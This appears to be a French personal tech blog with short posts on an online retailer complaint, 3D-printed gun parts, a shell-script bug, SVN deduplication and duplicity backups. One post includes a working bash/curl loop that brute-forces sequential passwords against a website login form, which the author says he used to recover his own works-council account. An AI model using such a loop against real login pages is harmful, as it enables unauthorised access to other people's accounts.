jeudi 27 mars 2014

Cdiscount Cfini

Plus jamais je ne commanderai sur Cdiscount.
Jusqu'à présent je n'avais pas eu de problème mais aujourd'hui j'ai passé commande d'un casque audio. Problème: je reçois finalement un mail m'indiquant que la livraison aura lieu dans 2 mois ... je décide donc d'annuler ma commande. Et là le spectacle commence:
  • Impossible d'annuler par Internet, ça n'est pas prévu. Il faut appeler un numéro surtaxé.
  • Forcément le télé-conseiller m'informe que leur informatique est en panne et que je n'aurai qu'à rappeler.
  • Contrairement à Amazon, Cdiscount prélève à la commande et non pas à la livraison.
J'en suis donc réduit à envoyer par courrier papier ma demande d'annulation et de remboursement. C'est pitoyable et la blague du téléphone m'a déjà couté 3€ de communication. Honte à Cdiscount. Je croise les doigts pour être remboursé facilement et après je supprime mon compte de ce site arnaqueur.

vendredi 1 novembre 2013

Armurerie Open Source

Pourquoi est-ce que les premières choses que les américains impriment en 3D sont des armes ? Je viens de découvrir pourquoi: il y a peut-être une vrai culture de l'open source dans les armes là-bas. J'ai vu une vidéo avec un vendeur d'arme qui faisait l'article d'un nouveau fusil et à un moment il décrit le nouveau chargeur et il dit à peu près en anglais "pour le moment il nous est propriétaire mais il sera open source dans environ un an" à 7min 08s



C'est peut-être limité aux petites pièces (chargeurs, munitions, accessoires) mais on dirait qu'il y a réellement une pratique open source (à défaut de libre) pour assurer la compatibilité et la diffusion de ces pièces.

mercredi 25 janvier 2012

Brèves

Le client a décidé que:
- les postes du site A redémarreraient le dernier lundi de chaque trimestre;
- les postes du site B redémarreraient le premier lundi de chaque mois impair.

Nul besoin de préciser que les lusers des sites A et B travaillent de manière identique.

Suite à quoi, un professionnel hérite de la lourde mission de pisser un script shell pour mettre en oeuvre cette "stratégie". A cause d'un bug, ce 26 décembre, les stations du site A n'ont pas redémarré. En effet, les tableaux KSH sont indexés à partir de 0 (zéro) -- comme partout en fait (sauf en Pascal) -- et utiliser le numéro du mois comme indice est funeste le dernier mois de l'année.

J'appelle le collègue.

"Encore heureux que tu ne programmes pas des missiles !
- Détrompe-toi, j'ai travaillé à l'apéro-spatiale sur des missiles pendant la guerre du Golfe."

mercredi 22 juin 2011

Et les Shadoks pompaient...

Cher Luc,

dans ta recherche d'une femme, si Xi désigne une rencontre, 1 signifiant le succès et 0 l'échec, contrairement à la logique Shadok, la probabilité que ta rencontre Xi+1 soit un succès ne s'accroît pas forcément.

Par exemple, pour 4 filles rencontrées, si succès est synonyme de relation sexuelle, la probabilité que tu couches avec ta 5ème rencontre est de 0,5.

Par contre, si un succès signifie que tu as trouvé la femme de ta vie, la probabilité que ta 5ème rencontre soit la bonne est de 0,16. Si c'est à nouveau un échec, cette probabilité n'est plus que de 0,14 pour ta 6ème, etc.

Bref, après 99 échecs, la probabilité de ton succès sera en fait inférieure à 0,01 et non pas égale à 1 comme le prevoient les Shadoks.

C'est implacable.

jeudi 5 mai 2011

Comment j'ai craqué mon compte CE

Mon compte sur le site de mon CE a changé et son mot de passe aussi. Pour commander mes chèques vacances au dernier moment, je me suis donc retrouvé coincé jusqu'à qu'un collègue me fasse remarquer que les mots de passe initiaux ont l'air d'être séquentiels (#fail).

Le site de mon CE étant vraiment sécurisé (merci SPIP), un petit bout de tshark, un petit coup de curl pour faire des POST, et hop, mot de passe récupéré !

for i in {0..100}; do
    id=$(printf 'za%03d' $i);
    echo $id;
    curl -q -D - -U 'proxy_user:password' -x proxy:8080 -d "matricule=1983&password=${id}&SubmitAuth=Connexion" 'http://www.mon-ce.com/spip.php?page=authentif' | grep Location;
done

vendredi 29 avril 2011

VCS + deduplication

La déduplication c'est très intéressant pour économiser l'espace disque.

En tout particulier pour des dossiers SVN. En effet, quand on fait un svn checkout dans /monprojet, SVN crée pour chaque fichier du projet /monprojet/fichier mais aussi une copie en /monprojet/.svn/.../fichier. Cette copie permet d'accélérer plusieurs opérations dont svn diff et svn revert.

Mais cela veut dire garder 2 copies identiques (ou quasiment) du même fichier. Mais grâce à la déduplication, cette copie ne coûte plus rien !

Par exemple pour un disque NFS (sur du NetApp) sur lequel une centaine de développeurs travaillent sur le même projet, on dépasse les 35% de gain d'espace disque par rapport à un stockage traditionnel.

En revanche pour GIT, qui stocke tout dans des blobs compressés, cette optimisation de l'espace disque devient impossible.

lundi 31 janvier 2011

Test de PRA duplicity: succès partiel

J'utilise depuis 6 mois duplicity avec Amazon S3 pour sauvegarder des choses vraiment importantes de mon portable: mes documents importants et des bouts de configuration locale, genre /etc.

Ce soir j'ai essayé de récupérer un /etc/shadow datant de 3 mois en faisant un:
${DUPLICITY} -t 3M --file-to-restore=etc/shadow ${DEST} /tmp/shadow
et j'ai bien du télécharger 300Mio pour pouvoir récupérer mon fichier de 2Kio...

Échec! Volume was signed by key None, not 987BF8A4

Je commence a en avoir marre de duplicity ou rdiff-backup: déjà avec rdiff-backup, je m'étais rendu compte que le format des métadonnées avait changé d'une version à l'autre et cela avait rendu caduques mes anciennes sauvegardes... Ici j'ai toujours bien fait mes sauvegardes et paf, ça me dit que ça n'est pas bien signé, et ça reste là à rien faire. ^C. Et là miracle, mon fichier a bien été restauré... Je suis en totale confiance.

Autant duplicity c'est très rapide pour faire les sauvegardes incrémentales, autant il y a un truc de complètement foiré au niveau de la restauration: en gros j'ai l'impression qu'il a téléchargé le morceau d'archive tar de la sauvegarde complète précedente, puis qu'il a téléchargé chaque incrémentale jusqu'à la date demandée...

J'abandonne S3 en direct, faute d'outil adéquate.
Et j'abandonne aussi duplicity, je retourne vers du tar ou rsync.